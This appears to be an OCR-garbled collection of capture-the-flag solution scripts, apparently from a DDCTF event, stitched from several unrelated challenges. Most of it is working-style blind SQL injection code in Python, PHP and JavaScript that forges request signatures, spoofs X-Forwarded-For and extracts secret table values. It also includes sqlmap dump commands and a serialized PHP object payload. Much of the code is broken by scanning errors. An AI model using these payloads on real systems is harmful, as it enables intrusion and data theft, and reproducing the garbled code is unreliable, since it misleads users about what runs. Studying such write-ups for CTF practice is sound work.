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#!/usr/bin/env python
import sys
import json
from Crypto.Cipher import AES
from Crypto import Random
def get_padding(rawstr):
remainder = len(rawstr) % 16
if remainder != @:
return '\x@0' * (16 - remainder)
return "'
de

e

aes_encrypt(key, plaintext):

plaintext += get_padding(plaintext)

aes = AES.new(key, AES.MODE_ECB)

cipher_text = aes.encrypt(plaintext).encode('hex")
return cipher_text

def generate_hello(key, name, flag):

5

message = "Connection for mission: {}, your mission's flag is: {}".format(name, flag)
return aes_encrypt(key, message)
get_input():
return raw_input()
print_output(message):
print(message)
sys.stdout.flush()
def handle():
print_output(“Please enter mission key:")
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mission_key = get_input().rstrip()
print_output(“Please enter your Agent ID to secure communications:")
agentid = get_input().rstrip()
rnd = Random.new()
session_key = rnd.read(16)
flag = '<secret>'
print_output(generate_hello(session_key, agentid, flag))
while True:
print_output(“"Please send some messages to be encrypted, 'quit' to exit:")
msg = get_input().rstrip()
if msg == 'quit’':
print_output(“"Bye!")
break
enc = aes_encrypt(session_key, msg)
print_output(enc)

if __name__ == "__main__":

handle()
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#! /usr/bin/env python3
from time import *
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import re
import requests
from selenium.webdriver import ActionChains
from selenium.webdriver.common.by import By #1414 )\ ##k, By.ID,By.CSS_SELECTOR
from selenium.webdriver.common.keys import Keys #f#fii % %/}
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.wait import WebDriverWait #%4%U{HilnaRE:se i
chrome_options = Options()
# chrome_options.add_argument("--headless")
# chrome_options.add_argument("--disable_gpu")
chrome_options.binary_location = r"C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe"
driver_path = r"chromedriver.exe"
def enc_payload(payload):
d = webdriver.Chrome(
executable_path=driver_path,
chrome_options=chrome_options
)
d.implicitly_wait(30)
d.set_page_load_timeout(30)
local = r"D:\phpStudyB\WWW\test.html"
tmp = r"D:\phpStudyB\WWW\tmp.html"
with open(tmp,"r") as f:
content = f.read() % payload
with open(local, "w+") as f:
f.write(content)
sleep(0.2)
d.get(local)
data = re.search(pattern=r"sig=(.+)###time=(.+)</body>", string=d.page_source)

print(d.page_source)
sig = data.group(l)
time = data.group(2)

d.close()
return sig, time
def sqli():
flag = "[*]"
for i in range(32, 127):
print('number %s...' % i)

for s in range(65, 90):

author = "admin' && ascii(substr((select secvalue from ctf_key9 limit 1),%s,1))=%s#" % (i, s)

# print(author)

sig,time = enc_payload(author)

data = {
"id": ",
"title"
"date": N
"author": author

}
url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?sig=%s&time=%s" % (sig, time)
headers = {

"X-Forwarded-For": "123.232.23.245",
}
try:

resp = requests.post(url=url, data=data, headers=headers)

if "admin" in resp.text:

flag += chr(s)

break
except Exception as e:
print(e)
continue
print(flag)
if __name__ == "__main__"

sqli()



/test.html

<IDOCTYPE html>

<html lang="en">

<head>

<metacharset="UTF-8">

<title>Title</title>

</head>

<body>

<script type="text/javascript" src="math.js"></script>
<script src="static/main.js"></script>

<script type="text/javascript">
functionsignGenerate(obj, key) {

varstr0 =";

for (iinobj) {

if (i 1="sign") {

strl

strl =i +'="+ obj[i];

str0 += strl

}

}

returnhex_math_enc(str0 + key)
13

varobj = {

author:"admin' && ascii(substr((select secvalue from ctf_key9 limit 1),32,1))=65#",
date!
time:parselnt(newDate().getTime() / 1000)

I3
varkey="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
varsign = signGenerate(obj, key);

document.write("sig=" + sign + "###time=" + obj.time);

</script>

</body>

</html>

/tmp.html
<IDOCTYPE html>
<html lang="en">
<head>
<metacharset="UTF-8">
<title>Title</title>
</head>
<body>
<script type="text/javascript" src="math.js"></script>
<script src="static/main.js"></script>
<script type="text/javascript">
functionsignGenerate(obj, key) {
varstr0 =";
for (iinobj) {
if (i 1="sign") {
strl=";
strl =i +'=" + obj[i];
strO += strl
}
}
returnhex_math_enc(str0 + key)
h
varobj = {
id:"",
title:"",
author:"%s",
date:"",
time:parselnt(newDate().getTime() / 1000)
13
varkey="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
varsign = signGenerate(obj, key);
document.write("sig=" + sign + "###time=" + obj.time);
</script>
</body>
</html>
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#!/bin/usr/env python
#coding: utf-8
import sys
import requests
import time
import execjs
guess = "DCTFQWERYUIOPASGHIKLZXVBN{}_qwertyuiopasdfghjklzxcvbnm1234567890_@-M"
payloadl = "select schema_name from information_schema.SCHEMATA limit {database_offset},1"
payload2 = "test' & & if(ascii(substr(({query}),{str_offset},1)) like {str_value},1,0)#"
payload3 = " select table_name from information_schema.tables where table_schema=0x6464637466 limit {table_offset},1"
payload4 = "select column_name from information_schema.columns where table_name=0x6374665f6b657932 limit {columns_offset},1"
payload5 = "select secvalue from ctf_key9 limit {row_offset},1"
key ="adrefkfweodfsdpiru"”
source = open('ddctf_webl.js').read()
context = execjs.compile(source)
headers ={
"X-Forwarded-For": "123.232.23.245",
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",

}
result = []
def leakdata(i,payload):

data = ''
for j in range(1,40):
sys.stdout.flush()
index = @
while index <= range(1, len(guess) + 1):
k = guess[index]
sys.stdout.writelines(data + ":" + str(j) + ":" + k + "\n")
obj = context.eval("obj")
sqlstr = payload2.format(query=payload.format(row_offset=i), str_offset=j, str_value=ord(k))
obj[ 'author'] = sqlstr
sys.stdout.writelines("Payload:" + sqlstr + "\n")
time_now = int(time.time())
get_str = context.call("submitt", sqlstr)
url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia" + get_str
sys.stdout.writelines("POST At:" + url + "\n")
r = requests.post(url, data=obj, headers=headers)
# print r.text
if 'time error' in r.text:
print "time error,retry:", j, k
index -= 1
if 'sig error' in r.text:
print "sig error,retry:", j, k
index -= 1
if 'test' in r.text:
print "OK", str(j), ":", k

data += k
break

if k =='M"' and 'test' not in r.text:
return

index += 1
print data
result.append(data)
print result
#r = s.get("http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php",headers=headers)
#print r.text
leakdata(@, payload5)
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<?php

@$id = $_REQUEST['id'];

@$title = $_REQUEST['title'];

@$author = $_REQUEST[ 'author'];

@$date = $_REQUEST[ 'date'];

$time = time();

$sig = shal('id=".$id. 'title=".$title. author=".$author. 'date=".$date. time=".$time. " 'adrefkfweodfsdpiru’);

$ch = curl_init();

$post = [
'id' => $id,
‘title' => $title,
‘author' => $author,
'date' => $date,

1;

curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?sig=$sig&time=$time");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: 123.232.23.245',
))s
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);

$header = substr($ch_out, @, $ch_info[ 'header_size']);
$body = substr($ch_out, $ch_info[ 'header_size']);

http_response_code($ch_info[ "http_code']);
//header ($header);

//echo $header;

echo $body;

2>
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sqlmap.py -u http://127.0.0.1/proxy.php?author=admin --dump
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function signGenerate(obj, key) {
varstr0 =";
for (i in obj) {

if (i I="sign") {

str1 ="}

str1 =i+ '="+ obj[i];

str0 +=str1

}
}

return hex_math_enc(str0 + key)

iiihex_math_enc/z fEmath.js B 1H 2 3L, BATEA © 2B, A LU python#4L.

M apython i 42«

def signGenerate(obj, key):
stro = "'
for i, v in obj.items():
if i != 'sign':
strl = "'
strl = i + '=' + str(v)
stro += stril
return hashlib.shal((str@ + key).encode()).hexdigest()

AATCLEEEE T .

i/ Njiok



import requests
import time
import hashlib
s = '
for index in range(1,0x20):

for i in range(0x30,0x7f):

id = ""

title =

date =

author = "-1'||if(ord(substr((select secvalue from ctf_key9 limit @,1),"+str(index)+",1))="+str(i)+",0,1)#"
# select * from content where id = ? and author = ' -1' || ' and date = ' = 'a' union '

proxies = {"http":"127.0.0.1:8080"}
data = { "id":id,

"title":title,

"author":author,

"data":date,

"button”:"search"”

}

t = str(int(time.time()))

stro = 'id="+id+'title="+title+'author="+author+'date="+date+'time="+t+"'adrefkfweodfsdpiru’

sig = hashlib.shal(stre).hexdigest()

ip = '123.232.23.245'

headers = {'X-Originating-IP': ip,

‘X-Forwarded-For': ip,

'X-Remote-IP': ip,

'X-Remote-Addr': ip,

'X-Client-IP': ip,

"User-Agent": "Mozilla/5.@ (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.8.3325.181 Safari/537.36",
‘Referer':"http://123.232.23.245/"

}
if len(requests.post(url="http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?
sig="+sig+"&time="+str(int(time.time())),data=data,headers=headers,proxies=proxies).content) != 2420:
s += chr(i)
break
print s

# print stre
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# coding:utf-8

import requests, PyV8

#HIPYVH IS4 bR ML A — P PY R

def js(author='"', date='', id='", title='"):
ctxt = PyVv8.JSContext()
ctxt.enter()
ctxt.locals.author_wz = author
ctxt.locals.date_wz = date
ctxt.locals.id_wz = id
ctxt.locals.title_wz = title
ctxt.locals.key = "adrefkfweodfsdpiru"
func = ctxt.eval(

var hexcase = @; /* hex output format. @ - lowercase; 1 - uppercase */
var bé64pad = /* base-64 pad character. for strict RFC compliance */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */
/*

* These are the functions you'll usually want to call

* They take string arguments and return either hex or base-64 encoded strings
*/

function hex_math_enc(s) {

return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}

function b64_math_enc(s) {

return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}

function str_math_enc(s) {

return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}

function hex_hmac_math_enc(key, data) {

return binb2hex(core_hmac_math_enc(key, data));

}

function b64_hmac_math_enc(key, data) {

return binb2b64(core_hmac_math_enc(key, data));

}
function str_hmac_math_enc(key, data) {

return binb2str(core_hmac_math_enc(key, data));

/*
* Perform a simple self-test to see if the VM is working
*/



function math_enc_vm_test() {

return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cdod89d" ;
}

/*

* Calculate the SHA-1 of an array of big-endian words, and a bit length
*/

function core_math_enc(x, len) {

/* append padding */

x[len >> 5] |= 0x80 << (24 - len % 32);

x[((len + 64 >> 9) << 4) + 15] = len;

var w = Array(80);

var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;

var e = -1009589776;

for (var 1 = @; i < x.length; i += 16) {
var olda = a;

var oldb = b;
var oldc = c;
var oldd = d;

var olde = e;

for (var j = 0; j < 80; j++) {

if (3 < 16) w[j] = x[i + J];

else w[j] = rol(w[j - 3] ~ w[j - 8] ~ w[j - 14] ~ w[j - 16], 1);

var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[jl),

=d;
c;
rol(b, 30);
= a;
= t;
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safe_add(a, olda);
safe_add(b, oldb);
safe_add(c, oldc);
safe_add(d, oldd);
safe_add(e, olde);
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}

return Array(a, b, c, d, e);

/*

* Perform the appropriate triplet combination function for the current
* iteration

*/

function math_enc_ft(t, b, c, d) {

if (t < 20) return (b & ¢) | ((~b) & d);

if (t < 40) return b ~ c ~ d;

if (t < 60) return (b & c) | (b & d) | (c & d);

return b * ¢ A d;

}

/*

* Determine the appropriate additive constant for the current iteration
*/

function math_enc_kt(t) {

return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;

}
/*
* Calculate the HMAC-SHAl of a key and some data
*/
function core_hmac_math_enc(key, data) {
var bkey = str2binb(key);
if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
var ipad = Array(16),
opad = Array(16);
for (var 1 = 0; i < 16; i++) {
ipad[i] = bkey[i] ~ ©x36363636;
opad[i] = bkey[i] ~ @x5C5C5C5C;
¥
var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
return core_math_enc(opad.concat(hash), 512 + 160);

/*

* Add integers, wrapping at 2732. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/

function safe_add(x, y) {

var 1sw = (x & OxFFFF) + (y & OXFFFF);

var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (1lsw & OXFFFF);

}

/*

* Bitwise rotate a 32-bit number to the left.
*/

function rol(num, cnt) {

return (num << cnt) | (num >>> (32 - cnt));

/*
* Convert an 8-bit or 16-bit string to an array of big-endian words

* In 8-bit function, characters >255 have their hi-byte silently ignored.
*/

function str2binb(str) {

var bin = Array();

var mask = (1 << chrsz) - 1;

for (var i = @; i < str.length * chrsz; i += chrsz)

bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);

math_enc_kt(3)));



return bin;

}

/*

* Convert an array of big-endian words to a string
*/

function binb2str(bin) {

var str = "";

var mask = (1 << chrsz) - 1;

for (var i = @; i < bin.length * 32; i += chrsz)

str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
return str;

/*
* Convert an array of big-endian words to a hex string.

*/

function binb2hex(binarray) {

var hex_tab = hexcase ? "©123456789ABCDEF" : "©123456789abcdef";
var str = "";

for (var i = @; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & OxF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - 1 % 4) * 8)) & OxF);
}

return str;

/%
* Convert an array of big-endian words to a base-64 string
*/
function binb2b64(binarray) {
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/";
var str = H
for (var i = @; i < binarray.length * 4; i += 3) {
var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & OxFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & OxFF) << 8) | ((binarray[i + 2 >> 2] >>
8 * (3 - (1i+ 2) %4)) & OxFF);
for (var j = 0; j < 4; j++) {
if (1 * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6 * (3 - j)) & @x3F);

}
}
return str;
}
var obj = {
id: id_wz,
title: title_wz,
author: author_wz,
date: date_wz,
//time : times
time : parseInt(new Date().getTime() / 1000-100)
¥
function signGenerate(obj,key) {
var stro = '';
for (i in obj) {
if (i 1= 'sign') {
strl = '';
strl =1 + '=' + obj[i];

stro += strl

}

return hex_math_enc(stre + key)

};

(signGenerate(obj,key));
Y
vars = ctxt.locals
return func, vars.obj.time, vars.id_wz, vars.author_wz, vars.date_wz, vars.title_wz
url = 'http://116.85.43.88:8080/ZVDHKBUVUZSTICNX/dfe3ia/index.php’
hea = {"User-Agent": "Mozilla/5.@ (Windows NT 6.3; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0",
"X-forwarded-for": "123.232.23.245"}
1=1[1, 2, 4, 8, 16, 32, 64]
payload = '\'and ord(mid((select secvalue from ctf_key5 limit {},1),{},1))&{} #'
# '\'and ord(mid((select schema_name from information_schema.schemata limit {},1),{},1))&{} #'
# information_schema
# ddctf
# '\'and ord(mid((select table_name from information_schema.tables where table_schema like 0x6464637466 limit {},1),{},1))&{} #'
# ctf_keys
# '"\'and ord(mid((select column_name from information_schema.columns where table_name like @x6374665f6b657935 limit {},1),{},1))&{} #'
# secvalue
# '\'and ord(mid((select secvalue from ctf_key5 limit {},1),{},1))&{} #'
# DDCTF{ZJKGOFGPHSLJHIYG}

strl = ""
for t in range(100):#limit offset
strl = ""
for j in range(1, 100):#string offset

n=0
for i in 1:# #%fil5
para = js(author=payload.format(t, j, i))
pad = "?sig=" + str(para[@]) + "&time=" + str(para[l])
data = {'id': para[2], 'author': para[3], 'date': para[4], 'title': para[5], 'time': str(para[1])}
# 2420
result = requests.post(url + pad, headers=hea, data=data).text
if len(result) == 2420:
n+= i
length = len(strl)
strl += chr(n) if n != @ else ""
print stri
if length == len(strl):



break

BRI, HIkH A Emath jsi g 2.
SEATTEAT— MIVER, BEPyVEIIISHA finew Date () .getTime () / 100025 MR4548 a4 M IS S3REUNN AR, FEFZ AR ],
$F: jSEIE (i ShadowGlintififi)

LB SRR Furl [ main js5s B HE B, SRR EE.

V8 4 JafREE, fEburp AR A, AR iLflag.

//ddctf-webl.js

s=document.createElement("script");
s.src="http://lib.sinaapp.com/js/iquery/1.7 .2/jquery.min.js";
document.body.append(s);

strs="1234567890qwertyuiopasdfghjklzxcvbonm_@,{}[1+-=\";;><.?/QWERTYUIOPASDF GHJKLZXCV";
payload1="0" | (substr((select group_concat(schema_name) from information_schema.schemata),”;
payload2=",1) ="

payload3="")#";

var res=
for(iii="1;iii<=30;iii++){

for(var xxin strs){

var obj2={id: " title: ",author: payload1+iii+payload2+strs[xx]+payload3,date: " time: parselnt(new Date().getTime() / 1000)};
$.post("./index.php?sig="+signGenerate(obj2, key)+"&time="+obj2.time,obj2,function(data){

if(data.length>1706

res+=strs[xx];

}

b
setTimeout("",100);

}
}

B .
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https://github.com/Bypass007/vuln/blob/master/OpenResty/Uri%20parameter%20overflow%20in%20Openresty.md

#!/usr/bin/python

# -*- coding: UTF-8 -*-
import hashlib

import re

import time

import requests
from bs4 import BeautifulSoup

def signGenerate(obj, key):
stre = "'
for i, v in obj.items():
if 1 = 'sign':
strl = "'
strl = 1 + '=' + str(v)
stre += strl
return hashlib.shal((stre + key).encode()).hexdigest()

#author = "admin’union select 1,group_concat(schema_name),3 from information_schema.schema#"
proxies = {"http": "http://127.0.0.1:8080"}

post_data =

{'a@':'1','a1':"'1",'a2"':"'1",'a3":"'1","'a4"':'1",'a5":"1","'a6":'1",'a7"':"'1","'a8"':'1",'a9"':'1",'a10"':'1",'a110': '1','a120"': '1"','a130"':'1','a140"':'1"',"'a150"': '1','a60": '1

union select 1,2,3,4,5#", 'button':'search'}

#&author=1\" union select 1,group_concat(schema_name),3 from information_schema.schemata#&button=search’
#post_data += author

TIME = int(time.time())

obj = {
id': 1Y,
‘title': '1',
‘author': "1\" union select secvalue,2,3,4,5 from ctf_key9--+i#',
‘date': '1°,
‘time': TIME
}

key = 'adrefkfweodfsdpiru’
sign = signGenerate(obj, key)

resp = requests.post('http://116.85.43.88:8080/JYDIJAYLYIPHCIMOQ/dfe3ia/index.php?sig={}&time={}".format(
sign, TIME
), headers={
'X-Forwarded-For': '123.232.23.245"
}, data=post_data,proxies=proxies)
soup = BeautifulSoup(resp.text, features='lxml')
# res = '\n'.join(soup.text.split())

# print(res)
print(soup)
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import java.io.File;

import java.io.FilelnputStream;

import java.io.lOException;

import java.io.InputStream;

import java.security.InvalidKeyException;

import java.security.Key;

import java.security.PrivateKey;

import java.security. KeyStore;

import java.security. KeyStoreException;

import java.security.NoSuchAlgorithmException;

import java.security.SecureRandom;

import java.security.UnrecoverableKeyException;

import java.security.cert.CertificateException;

import java.security.cert.Certificate;

import java.util.Properties;

import java.util. UUID;

import javax.crypto.BadPaddingException;

import javax.crypto.Cipher;

import javax.crypto.lllegalBlockSizeException;

import javax.crypto.Mac;

import javax.crypto.NoSuchPaddingException;

import javax.crypto.spec.SecretKeySpec;/**

*? curl -X"POST" "http://116.85.48.102:5050/flag/getflag/0DF EE0968F 44 107479B6CF5784641060DB42952C197C7E8560C2B5F 58925F AF4"

*1 Encrypted flag :

506920534F89FA62C1125AABE3462F49073ABIF5C2254895534600A9242B8F 18D4E420419534118D8CF9C20D07825C4797AF 1A169CA83F934EF508F617C300B04242BEEA14AA4BBOF4887494703F6F50E1873708A0
*

public class Solution {

static final String email = "3113936212117314317@didichuxing.com";

static final String eFlag =

"506920534F89FA62C1125AABE3462F49073ABIF5C2254895534600A9242B8F 18D4E420419534118D8CF9C20D07825C4797AF 1A169CA83F934EF508F617C300B04242BEEA14AA4BBOF4887494703F6F50E1873708A!
static final String password = "sd| welcome you !".substring(0, "sdl welcome you !".length() - 1).trim()

.replace(" ", "");

public static String byte2hex(byte[] b) {

StringBuilder hs = new StringBuilder();

for (int n = 0; b !=null && n < b.length; ++n) {

String stmp = Integer.toHexString(b[n] & 255);

if (stmp.length() == 1) {

hs.append('0');

}

hs.append(stmp);

}

return hs.toString().toUpperCase();

}

private static int parse(char c) {

if (c >="a’)

return (c - 'a' + 10) & 0x0f;

if (¢ >="'A")

return (c - 'A" + 10) & 0x0f;

return (c - '0") & 0x0f;

}

public static byte[] hex2byte(String hex) {

byte[] b = new byte[hex.length() / 2];

0;
for (inti=0;i<b.length; i++) {
char c0 = hex.charAt(j++);
char ¢1 = hex.charAt(j++);
b[i] = (byte) ((parse(c0) << 4) | parse(c1));
}

return b;

}

intj



public static void main(String[] args) throws Exception {

KeyStore keyStore = KeyStore.getinstance(KeyStore.getDefaultType());
FilelnputStream inputStream = new FilelnputStream("./sdl.ks");
keyStore.load(inputStream, password.toCharArray());

Certificate cert = keyStore.getCertificate("www.didichuxing.com");

Key pbKey = cert.getPublicKey();

Key key = keyStore.getKey("www.didichuxing.com", password.toCharArray());
Cipher cipher = Cipher.getinstance(key.getAlgorithm());

cipher.init(Cipher. ENCRYPT_MODE, key);

SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getinstance("HmacSHA256");

mac.init(signingKey);

String eEmail = byte2hex(mac.doFinal(String.valueOf(email.trim()).getBytes()));
System.out.printin("Email MAC: " + eEmail);
cipher.init(Cipher.DECRYPT_MODE, pbKey);

byte[] flag = cipher.doFinal(hex2byte(eFlag));

m%w%ﬁa@' + new String(flag));
}
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python sqimap.py -u http://116.85.48.105:5033/c38639ed-2d7f-41bd-a412-4c489de8102e/well/getmessage/13 ™ ~no-cast ~dump-all
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0:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"61f92159-8224-4d3c-84f5-b0999ce7d28e";s:2: "fl"; 0:17:"Index\Helper\Flag":1:{s:3:"sql";N;}}

HRAE NI sqlmapil H 1 1Y 2%, {Etry BUTT 45 $serializett 2 15flag.
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